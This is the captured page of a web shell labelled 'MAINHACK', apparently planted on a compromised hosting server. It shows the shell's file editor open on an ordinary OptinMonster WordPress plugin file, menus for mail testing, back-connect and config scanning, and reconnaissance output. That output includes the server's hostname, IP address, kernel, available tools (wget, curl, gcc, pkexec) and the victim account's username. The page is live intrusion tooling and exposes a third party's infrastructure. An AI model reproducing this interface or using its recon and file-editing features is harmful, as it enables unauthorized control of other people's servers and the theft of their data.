[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: OmuApi.php
<?php /** * OMU API class. * * @since 2.6.6 * * @package OMAPI * @author Justin Sternberg */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * OMU API class. * * @since 2.6.6 */ class OMAPI_OmuApi extends OMAPI_Api { /** * Holds the last instantiated instance of this class. * * @var OMAPI_Api */ protected static $instance = null; /** * Base API route. * * @since 2.6.6 * * @var string */ public $base = OPTINMONSTER_URL; /** * The OMU routes map. * * @since 2.6.6 * * @var string */ protected static $routes = array( 'courses' => 'wp-json/ldlms/v1/courses?per_page=8&orderby=menu_order&order=desc&_embed=1', 'guides' => 'wp-json/wp/v2/omu-guides?per_page=8&orderby=menu_order&order=desc&_embed=1', ); /** * The cached-request TTL. */ public $cache_ttl = DAY_IN_SECONDS; /** * Primary class constructor. * * @since 2.6.6 * * @param string $route The API route to target. * @param string $method The API method. */ public function __construct( $route, $method = 'GET' ) { // Set class properties. $this->route = $route; $this->method = $method; self::$instance = $this; } /** * Processes the OMU REST API request. * * @since 2.6.6 * * @param string $route The API route to target. * @param string $method The API method. * @param array $args Request args. * @param bool $refresh Whether to refresh the cache. * * @return mixed $value The response to the API call. */ public static function cached_request( $route, $method = 'GET', $args = array(), $refresh = false ) { $key_args = $args; $key_args[] = $method; $key_args[] = $route; $cache_key = 'omapp_omu_cached' . md5( serialize( $key_args ) ); $result = get_transient( $cache_key ); if ( empty( $result ) || $refresh ) { $api = new self( $route, $method ); $result = $api->request( $args ); if ( ! is_wp_error( $result ) ) { $headers = wp_remote_retrieve_headers( $api->response ); $result = array( 'data' => $result, 'total' => isset( $headers['x-wp-total'] ) ? (int) $headers['x-wp-total'] : 0, 'totalpages' => isset( $headers['x-wp-totalpages'] ) ? (int) $headers['x-wp-totalpages'] : 0, ); set_transient( $cache_key, $result, $api->cache_ttl ); } } return $result; } /** * Processes the OMU REST API request. * * @since 2.6.6 * * @param array $args Request args. * * @return mixed $value The response to the API call. */ public function request( $args = array() ) { $url = in_array( $this->method, array( 'GET', 'DELETE' ), true ) ? add_query_arg( array_map( 'urlencode', $args ), $this->get_url() ) : $this->get_url(); $url = esc_url_raw( $url ); // Build the headers of the request. $headers = array( 'Content-Type' => 'application/json', ); // Setup data to be sent to the API. $data = array( 'headers' => $headers, 'timeout' => 3000, 'sslverify' => false, 'method' => $this->method, ); // Perform the query and retrieve the response. $this->handle_response( wp_remote_request( $url, $data ) ); // Bail out early if there are any errors. if ( is_wp_error( $this->response ) ) { return $this->response; } $error = $this->check_response_error(); // Bail out early if there are any errors. if ( is_wp_error( $error ) ) { return $error; } // Return the json decoded content. return $this->response_body; } /** * The gets the URL based on our base, endpoint and version * * @since 2.6.6 * * @return string The API url. */ public function get_url() { if ( empty( self::$routes[ $this->route ] ) ) { throw new Exception( sprintf( 'Missing route information for %s', $this->route ), 400 ); } return trailingslashit( $this->base ) . self::$routes[ $this->route ]; } /** * Returns the last instantiated instance of this class. * * @since 2.6.6 * * @return A single instance of this class. */ public static function instance() { return self::$instance; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.32 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830